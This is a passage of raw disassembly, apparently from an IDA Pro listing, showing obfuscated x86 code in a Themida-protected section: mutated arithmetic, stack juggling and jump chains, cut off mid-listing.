sub_559F87 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_551E74 proc near ; CODE XREF: sub_556A70+5DBCj ; FUNCTION CHUNK AT 0055170B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005548B7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00559518 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055A8D8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055B409 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055C1DB SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055C61C SIZE 0000000A BYTES push ebp mov ebp, 6FC743D3h sub ebx, ebp jmp loc_55170B sub_551E74 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559B2A loc_551E81: ; CODE XREF: sub_559B2A-1561j pop ebx add esp, 4 xchg edi, [esp+0] mov esp, [esp+0] mul cx push small 1351h mov word ptr [esp-6+arg_0+2], dx push ax pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_559B2A ; --------------------------------------------------------------------------- loc_551EA1: ; CODE XREF: Themida_:00555775j mov ecx, esp sub esp, 4 jmp loc_556B80 ; --------------------------------------------------------------------------- loc_551EAB: ; CODE XREF: Themida_:00557F8Bj push 787h mov [esp], edx mov edx, 4 add edi, edx jmp loc_55B421 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5526D6 loc_551EBF: ; CODE XREF: sub_5526D6+6j inc ebp jmp loc_55C8B1 ; END OF FUNCTION CHUNK FOR sub_5526D6 ; --------------------------------------------------------------------------- loc_551EC5: ; CODE XREF: Themida_:005580AFj push 2934h mov [esp], ebp push 1C1Eh jmp loc_556B12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551ED7: ; CODE XREF: sub_556A70+4D93j push eax jmp sub_55CC90 ; --------------------------------------------------------------------------- loc_551EDD: ; CODE XREF: sub_556A70-1444j add eax, ebx pop ebx jmp loc_55238C ; --------------------------------------------------------------------------- loc_551EE5: ; CODE XREF: sub_556A70-DB0j add esp, 4 or ebp, 3CED48C9h push edi mov edi, 47933B6Bh jmp loc_557B68 ; --------------------------------------------------------------------------- loc_551EFC: ; CODE XREF: sub_556A70-6F6j xor ebp, 0B2469DEh xor edi, ebp pop ebp sub esp, 4 mov [esp-8+arg_4], ecx mov ecx, 15080EBEh neg ecx jmp loc_556711 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- push dword ptr [esp] pop edx push ebx mov ebx, esp add ebx, 4 push ecx push ebx mov ebx, 4 mov ecx, ebx pop ebx sub ebx, ecx pop ecx xchg ebx, [esp] pop esp mov [esp], ecx push esp pop ecx jmp loc_559E69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5553D0 loc_551F3F: ; CODE XREF: sub_5553D0+Bj sub bl, cl add bl, 4Bh push dword ptr [esp+0] jmp loc_550B83 ; END OF FUNCTION CHUNK FOR sub_5553D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551F4C: ; CODE XREF: sub_556A70-5A1j shl esi, 5 xor esi, 0F920DC44h mov ebx, esi pop esi jmp loc_553D4B ; --------------------------------------------------------------------------- loc_551F5D: ; CODE XREF: sub_556A70+1EBDj mov edi, 6A258C7h xor edi, 56F83CC0h inc edi jmp loc_55BE3C ; --------------------------------------------------------------------------- loc_551F6E: ; CODE XREF: sub_556A70+2B8Dj mov esp, [esp-0Ch+arg_8] jmp loc_559789 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_551F76: ; CODE XREF: Themida_:00556053j mov ecx, [esp] add esp, 4 sub al, bl sub al, 0EAh jmp loc_557BDF ; --------------------------------------------------------------------------- loc_551F88: ; CODE XREF: Themida_:00558DF0j pop ecx push ebx push edi mov edi, 3AD97456h jmp loc_556B2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551F95: ; CODE XREF: sub_556A70-E01j push ecx mov ch, 85h add ch, 6 and ch, 13h neg ch dec ch shr ch, 6 add ch, 9Eh sub esp, 4 mov [esp-4+arg_0], eax jmp loc_55853C ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559CCC loc_551FB6: ; CODE XREF: sub_559CCC+18j add ebp, eax pop eax xor [esp+0Ch+var_8], ebp pop ebp jmp loc_557863 ; END OF FUNCTION CHUNK FOR sub_559CCC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B730 loc_551FC3: ; CODE XREF: sub_55B730+6j mov [esp+4+var_4], edx mov edx, 3E9E41AAh sub esp, 4 mov [esp+8+var_8], edx mov ebx, [esp+8+var_8] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5566FB ; END OF FUNCTION CHUNK FOR sub_55B730 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551FE8: ; CODE XREF: sub_556A70+47FEj pop esp mov [esp-8+arg_4], ebx push [esp-8+arg_4] pop eax push ecx push esp pop ecx jmp loc_5524D4 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555903 loc_551FF8: ; CODE XREF: sub_555903-FF8j push eax mov eax, 4 sub esi, eax pop eax push esi push dword ptr [esp+4] mov esi, [esp+8+var_8] add esp, 4 jmp loc_554AC9 ; END OF FUNCTION CHUNK FOR sub_555903 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552011: ; CODE XREF: sub_556A70+4111j mov [esp-4+arg_0], eax push 2 pop eax mov ebp, eax jmp loc_5550B1 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_552021: ; CODE XREF: sub_5566B9+4C3Dj xchg ebx, [esp+0Ch+var_C] pop esp jmp loc_55630E ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- loc_55202A: ; CODE XREF: Themida_:0055130Bj dec dl xor dl, 0F5h sub dl, 0F8h sub bh, dl jmp loc_554D0C ; --------------------------------------------------------------------------- loc_552039: ; CODE XREF: Themida_:00553BE4j mov edi, esp sub esp, 4 mov [esp], eax mov eax, 1EFD6E3Dh push esi mov esi, 44AF663Ah sub eax, esi pop esi neg eax jmp loc_55BD35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552059: ; CODE XREF: sub_556A70+233Bj jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55205E: ; CODE XREF: sub_5584F8+3j mov [esp+0], ebx jmp loc_550D15 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552066: ; CODE XREF: sub_556A70+864j sub edx, eax push ecx mov ecx, 1BE04B6Ah sub edx, ecx push dword ptr [esp+0] pop ecx push 466Fh mov [esp+4+var_4], ebp push esp pop ebp add ebp, 4 jmp loc_55A467 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552089: ; CODE XREF: Themida_:00555AD3j add ebp, eax sub ebp, 2332465Ch add ebp, 304B73h pop eax sub esp, 4 jmp loc_55C95A ; --------------------------------------------------------------------------- loc_5520A3: ; CODE XREF: Themida_:0055A4E8j mov ebx, esp sub esp, 4 mov [esp], ebp mov ebp, 3B4C02ACh neg ebp jmp loc_55B808 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5520BA: ; CODE XREF: sub_556A70+86Bj movzx eax, al mov dx, word ptr [esp+4+var_4] push eax jmp loc_555410 ; --------------------------------------------------------------------------- loc_5520C7: ; CODE XREF: sub_556A70+396Fj add esp, 4 push esi mov esi, 4 add edx, esi pop esi add edx, 4 jmp loc_55781C ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5520DE: ; CODE XREF: Themida_:0055C8F6j neg ah xor ah, 9Ch shl ah, 1 and ah, 0B1h or ah, 8Bh sub ah, 30h mov cl, ah mov eax, [esp] add esp, 4 jmp loc_550C2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5520FE: ; CODE XREF: sub_556A70-E18j push [esp+4+var_4] mov eax, [esp+8+var_8] add esp, 4 push ebx mov ebx, esp add ebx, 4 jmp loc_5517BB ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552115: ; CODE XREF: Themida_:00559FAAj xor ebp, 0F314990h and ebp, 405E440Fh dec ebp jmp loc_5533F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552127: ; CODE XREF: sub_556A70-406Bj mov edi, 6BC4799Bh xor edi, 659C5155h or edi, 19D726B2h not edi dec edi neg edi push esi mov esi, 0BDF1EA80h sub edi, esi jmp loc_554AF7 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55214A: ; CODE XREF: Themida_:00559816j add ebx, 330531D2h add ebx, ebp sub ebx, 330531D2h pop ebp push eax mov eax, 261F66C1h sub eax, 1 neg eax and eax, 7F1C75DAh inc eax add eax, 0A6FFEEC1h sub ebx, 59D2128Dh add ebx, eax add ebx, 59D2128Dh pop eax xor ebx, [esp] xor [esp], ebx jmp loc_559510 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552189: ; CODE XREF: sub_556A70+5E34j pop esp xor al, bl jmp loc_55BCBD ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552E24 loc_552191: ; CODE XREF: sub_552E24+8CD1j pop eax add esp, 4 push [esp-4+arg_0] mov esi, [esp+0] add esp, 4 push esi mov esi, esp add esi, 4 jmp sub_55A6CD ; END OF FUNCTION CHUNK FOR sub_552E24 ; =============== S U B R O U T I N E ======================================= sub_5521AC proc near ; CODE XREF: sub_553B60+5CA5j ; FUNCTION CHUNK AT 0055462B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00555378 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0055857D SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00559A78 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0055CF71 SIZE 0000000B BYTES push ebx mov bh, 91h sub ch, bh pop ebx or bh, ch pop ecx inc bh jmp loc_55462B sub_5521AC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5521BC: ; CODE XREF: sub_556A70-3C20j add ecx, 4 push ecx push [esp+0Ch+var_8] mov ecx, [esp+10h+var_10] add esp, 4 jmp loc_552F7D ; --------------------------------------------------------------------------- loc_5521D2: ; CODE XREF: sub_556A70+5CA9j mov ch, 24h add bl, ch jmp loc_5584A3 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5521DB: ; CODE XREF: Themida_:0055358Fj pop edx add al, bl push 0E53h jmp loc_555B7A ; --------------------------------------------------------------------------- loc_5521E8: ; CODE XREF: Themida_:00559DE8j add ecx, ebx mov ebx, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_557F98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552201: ; CODE XREF: sub_556A70-3591j push 1888h mov [esp+10h+var_10], edi mov edi, 1BE04B6Ah add edx, edi push [esp+10h+var_10] pop edi jmp loc_5572CE ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552219: ; CODE XREF: Themida_:00552A1Dj push 5D81h mov [esp], eax jmp loc_55B75B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5516F8 loc_552226: ; CODE XREF: sub_5516F8+E23j add ebx, 4 xchg ebx, [esp+4+var_4] pop esp push edx pop edi pop edx sub esp, 4 mov [esp+0], ecx push edx mov edx, 2E1330A6h push eax mov eax, 5D452061h dec eax jmp loc_5561D2 ; END OF FUNCTION CHUNK FOR sub_5516F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552248: ; CODE XREF: sub_556A70-2FA1j inc ebp jmp loc_551322 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55224E: ; CODE XREF: Themida_:005525D9j sub esi, 13165436h add esi, edi add esi, 13165436h pop edi push esi push dword ptr [esp+4] jmp loc_55408F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559F87 loc_552267: ; CODE XREF: sub_559F87+2A8Ej add cl, dl pop edx jmp loc_553C1F ; END OF FUNCTION CHUNK FOR sub_559F87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55226F: ; CODE XREF: sub_556A70+5D76j mov ebp, 58387D89h sub edx, ebp pop ebp pop eax sub eax, edx jmp loc_556739 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_55227F proc near ; CODE XREF: sub_556A70-50FAj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005550D7 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0055B030 SIZE 0000000B BYTES sub esp, 4 mov [esp+4+var_4], ebx pop esi push edi mov edi, esi push edi add [esp+8+var_8], 1A273945h jmp loc_5550D7 sub_55227F endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55A4E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55229F: ; CODE XREF: sub_556A70-3054j xchg ebp, [esp+8+var_8] jmp loc_5580F7 ; --------------------------------------------------------------------------- loc_5522A7: ; CODE XREF: sub_556A70+2C39j sub bx, bp push [esp+8+var_8] pop ebp jmp loc_555E52 ; --------------------------------------------------------------------------- loc_5522B3: ; CODE XREF: sub_556A70-51D4j mov [esp+0Ch+var_C], edx mov edx, 61A3051Eh sub edx, 1 xor edx, 1AA629CFh add esi, edx pop edx add esi, 1 jmp loc_55BF84 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5522CF: ; CODE XREF: Themida_:00552BB6j add eax, ebx add eax, 5FE01CD6h add eax, 6C1A3E74h push 3A06h jmp loc_5592EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5522E5: ; CODE XREF: sub_556A70-2BB9j mov ecx, [esp+8+var_8] jmp sub_5530EF ; --------------------------------------------------------------------------- loc_5522ED: ; CODE XREF: sub_556A70-53EDj xor edi, 20E1395Ch inc edi push 4BCFh mov [esp+4+var_4], edx mov edx, 0B88A9998h jmp loc_557721 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552306: ; CODE XREF: Themida_:0055555Fj pop edi xor edx, 7DCE4BAFh jmp loc_55859D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552312: ; CODE XREF: sub_556A70+5CFj xchg ebp, [esp+4+var_4] mov esp, [esp+4+var_4] not al jmp loc_557C60 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554BBA loc_55231F: ; CODE XREF: sub_554BBA+5BB2j pop esp pop ebp mov ebx, ecx mov ecx, [esp-8+arg_4] add esp, 4 and ecx, ebx jmp loc_552826 ; END OF FUNCTION CHUNK FOR sub_554BBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552330: ; CODE XREF: sub_556A70+B57j and ecx, esi push [esp+4+var_4] push [esp+8+var_8] pop esi push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0Ch+var_C] pop esp jmp loc_554D14 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552351: ; CODE XREF: Themida_:0055315Dj pop esp push dword ptr [esp] pop eax push eax push esp pop eax push edx mov edx, 228F0E93h jmp loc_55A832 ; --------------------------------------------------------------------------- loc_552364: ; CODE XREF: Themida_:00554870j push eax mov eax, 25A10CADh push edi mov edi, 0DC5CB6Eh jmp loc_5591BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_552375: ; CODE XREF: sub_5584F8+45ABj add esp, 4 sub eax, 49E61564h push ebx push ebp jmp sub_55AE68 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_552384: ; CODE XREF: sub_552B74+606Cj sub edi, ebx pop ebx jmp loc_559384 ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55238C: ; CODE XREF: sub_556A70-4B90j add eax, esi sub eax, 773640Ah pop esi push 4766h mov [esp-8+arg_4], edx jmp loc_55B9AD ; --------------------------------------------------------------------------- loc_5523A1: ; CODE XREF: sub_556A70+ACEj add ecx, 4 jmp loc_5596F4 ; --------------------------------------------------------------------------- loc_5523AC: ; CODE XREF: sub_556A70+617Aj push 0C690998h mov eax, [esp-4+arg_0] add esp, 4 add eax, 71B93C8Dh add eax, 0E310E05Ah mov edi, eax pop eax jmp loc_553735 ; --------------------------------------------------------------------------- loc_5523C9: ; CODE XREF: sub_556A70+4F96j mov dh, 0E1h inc dh jmp loc_55CDAA ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5557A0 loc_5523D2: ; CODE XREF: sub_5557A0+4864j pop dword ptr [eax] add dword ptr [eax], 239C05DBh mov ebp, [esp-4+arg_0] add esp, 4 jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_5557A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5523E5: ; CODE XREF: sub_556A70+3C25j add ebx, ebp pop ebp add edi, ebx pop ebx add edi, 4 xchg edi, [esp-14h+arg_10] pop esp jmp loc_55A8E7 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5567EA loc_5523F7: ; CODE XREF: sub_5567EA-3A54j add edx, 0A040C0C3h mov ebx, edx jmp loc_5555E3 ; END OF FUNCTION CHUNK FOR sub_5567EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552404: ; CODE XREF: sub_556A70+24EDj shr ebx, 6 sub esp, 4 jmp loc_55A4A9 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552412: ; CODE XREF: Themida_:00559AE2j shr ebp, 8 push eax mov eax, 1FF93681h push edi jmp loc_557401 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552421: ; CODE XREF: sub_556A70+41E6j pop esi jmp loc_554ABA ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552427: ; CODE XREF: Themida_:0055543Dj pop edi mov esi, ebx jmp loc_5533EA ; --------------------------------------------------------------------------- loc_55242F: ; CODE XREF: Themida_:0055A845j sub esi, ecx pop ecx sub esi, 6F376C6Dh sub esp, 4 jmp loc_555F51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552440: ; CODE XREF: sub_556A70-5552j add ebp, eax jmp loc_5580D7 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554BBA loc_552447: ; CODE XREF: sub_554BBA+4j push esi mov esi, esp add esi, 4 jmp loc_55A766 ; END OF FUNCTION CHUNK FOR sub_554BBA ; --------------------------------------------------------------------------- loc_552455: ; CODE XREF: Themida_:00553E3Ej mov edx, edi pop edi add [esp+4], edx pop edx mov edx, [esp] add esp, 4 add edx, 4 push 7743h jmp loc_55BE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552473: ; CODE XREF: sub_556A70+E46j mov [esp+4+var_4], ebx jmp loc_557644 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55247B: ; CODE XREF: Themida_:00559121j mov bl, 16h add bl, 54h push small 0 sub [esp], bl mov bl, [esp] push esi mov esi, esp add esi, 4 jmp loc_557876 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_552498: ; CODE XREF: sub_5584F8+33E8j sub edi, 7B6D6359h add edi, 90405A80h add ecx, 289A268Ah add ecx, edi sub ecx, 289A268Ah pop edi shr ecx, 6 jmp loc_5511F6 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5524BB: ; CODE XREF: sub_556A70-4CBBj pop esi jmp loc_5576BF ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5524C1: ; CODE XREF: Themida_:0055136Fj mov esi, 45BD6CC5h shl esi, 4 push ecx push 63196E1Ah jmp loc_5556DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5524D4: ; CODE XREF: sub_556A70-4A7Dj add ecx, 4 push eax jmp loc_552B33 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5524E0: ; CODE XREF: Themida_:0055287Fj pop dword ptr [esp] mov esp, [esp] xor ebx, eax xor edx, eax jmp loc_550A46 ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_550A46 ; --------------------------------------------------------------------------- loc_5524F7: ; CODE XREF: Themida_:005530CAj push 3ACFh jmp loc_55551C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5516F8 loc_552501: ; CODE XREF: sub_5516F8+B0B3j and edi, ebx pop ebx shl edi, 3 sub edi, 26D0BE3Bh sub edx, edi mov edi, [esp+0] push ebx push esp pop ebx add ebx, 4 jmp loc_552226 ; END OF FUNCTION CHUNK FOR sub_5516F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552520: ; CODE XREF: sub_556A70+55B3j shl eax, cl push ebx push edi push edx push 30C7035Ch pop edx jmp loc_55C864 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552530: ; CODE XREF: Themida_:0055AF44j push eax jmp loc_55A7BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55AA5F loc_552536: ; CODE XREF: sub_55AA5F-9BC2j add edx, 3BDA4DD9h mov ebp, [esp+8+var_8] add esp, 4 push ebp mov ebp, 4 sub edx, 21F21665h sub edx, ebp add edx, 21F21665h pop ebp push 459Ch mov [esp+8+var_8], edx jmp loc_557275 ; END OF FUNCTION CHUNK FOR sub_55AA5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552564: ; CODE XREF: sub_556A70+3A00j xor [esp+0Ch+var_C], ebp xor ebp, [esp+0Ch+var_C] pop esp jmp loc_550A46 ; --------------------------------------------------------------------------- loc_552570: ; CODE XREF: sub_556A70-5898j xor ebx, eax movzx ax, byte ptr [eax] push small 3668h mov word ptr [esp-10h+arg_C], ax jmp loc_550A46 ; --------------------------------------------------------------------------- loc_552583: ; CODE XREF: sub_556A70-19DEj mov ecx, 8801921h push 137Fh mov [esp-0Ch+arg_8], ebp mov ebp, 581251D2h xor ecx, ebp push [esp-0Ch+arg_8] jmp loc_554EC7 ; --------------------------------------------------------------------------- loc_55259F: ; CODE XREF: sub_556A70+6445j add edi, edx jmp loc_5597C2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5525A6: ; CODE XREF: Themida_:00556807j mov [esp], edx jmp loc_551DF1 ; --------------------------------------------------------------------------- loc_5525AE: ; CODE XREF: Themida_:0055C28Bj push edi push 73854187h mov edi, [esp] add esp, 4 not edi add edi, 74346A81h mov edx, edi pop edi jmp loc_55ACDC ; --------------------------------------------------------------------------- loc_5525CA: ; CODE XREF: Themida_:0055A272j sub edi, esi pop esi add edi, 39AF0ADEh add edi, 8D5AE854h jmp loc_55224E ; --------------------------------------------------------------------------- loc_5525DE: ; CODE XREF: Themida_:00555401j sub al, ch pop ecx add al, 0A0h add al, bl sub al, 0A0h push ebx jmp loc_55C8D6 ; =============== S U B R O U T I N E ======================================= sub_5525ED proc near ; CODE XREF: sub_556A70+122Dj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00553991 SIZE 0000000D BYTES sub esp, 4 jmp loc_553991 sub_5525ED endp ; --------------------------------------------------------------------------- mov cx, [esp] push 2D87h mov [esp], edx mov edx, esp push 6651h mov [esp], edi push edx mov edx, 4 mov edi, edx pop edx add edx, edi pop edi sub esp, 4 mov [esp], ecx jmp loc_55CCE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552622: ; CODE XREF: sub_556A70+3D8Aj push 7D04h mov [esp-4+arg_0], eax push 257Dh jmp loc_55A9CC ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_552634 proc near ; CODE XREF: sub_55CC90-43D9j ; FUNCTION CHUNK AT 00550E1B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00554075 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055415A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055451A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00556A61 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00559993 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0055AA7F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0055B631 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055BE06 SIZE 0000001D BYTES push ebp jmp loc_55415A sub_552634 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_55263A: ; CODE XREF: Themida_:0055ACB6j not ecx sub ecx, 39EE1631h jmp loc_5545A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552647: ; CODE XREF: sub_556A70+2D22j push 3026h mov [esp+4+var_4], ebx mov ebx, eax mov ebp, ebx mov ebx, [esp+4+var_4] jmp loc_556E05 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_55265B proc near ; CODE XREF: sub_556A70+35BAj push ebp push 33B93146h pop ebp jmp loc_5575B5 sub_55265B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553E6A loc_552667: ; CODE XREF: sub_553E6A+1B23j pop ebp sub eax, ecx push esi mov esi, 48311202h shl esi, 7 inc esi jmp loc_5572E0 ; END OF FUNCTION CHUNK FOR sub_553E6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552679: ; CODE XREF: sub_556A70-3BCj sub bx, 6710h mov si, word ptr [esp+4+var_4] add esp, 2 add bx, 4EACh movzx eax, ax push small 7DA8h mov word ptr [esp+2+var_4+2], ax jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55269D: ; CODE XREF: sub_556A70-237Bj push esp pop edx jmp loc_551C51 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5526A4: ; CODE XREF: Themida_:00551A37j push esp jmp loc_556C26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_5526AA: ; CODE XREF: sub_552B74+2E68j mov ebx, 4BD13409h add edi, ebx pop ebx add edi, 35545AAAh pop esi movzx eax, al push dword ptr [edi+eax*4] push 0EC3h mov [esp+8+var_8], ecx jmp loc_55538F ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5526CC: ; CODE XREF: sub_556A70+51A0j ror word ptr [esp+2+var_4+2], cl pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_5526D6 proc near ; CODE XREF: sub_550E2C+55ADj ; FUNCTION CHUNK AT 00551EBF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00552A29 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00558F69 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055C8B1 SIZE 0000000B BYTES push ebp mov ebp, 2DB4288Dh jmp loc_551EBF sub_5526D6 endp ; --------------------------------------------------------------------------- loc_5526E1: ; CODE XREF: Themida_:00558D51j add ecx, 655E300Fh xor edi, ecx pop ecx or edi, 34202393h push 35CEh mov [esp], edx mov edx, 6C886756h xor edi, edx jmp loc_551E07 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552704: ; CODE XREF: sub_556A70+D1Aj jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552709: ; CODE XREF: Themida_:0055B524j sub esp, 4 mov [esp], eax mov eax, 4 add edx, eax jmp loc_554A06 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_556258 ; --------------------------------------------------------------------------- loc_55272C: ; 